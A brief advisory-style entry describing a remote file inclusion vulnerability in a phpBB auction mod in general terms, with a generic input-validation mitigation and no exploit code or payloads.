phpBB auction mod – Remote File Inclusion Vuln

This vulnerability allows an attacker to include a remote file on the web server. It occurs due to a lack of proper validation of user-supplied input by the application. An attacker can exploit this vulnerability by sending a specially crafted request to the web server.

Mitigation:

Input validation should be used to prevent the inclusion of remote files. The application should validate the input and reject any requests containing malicious data.
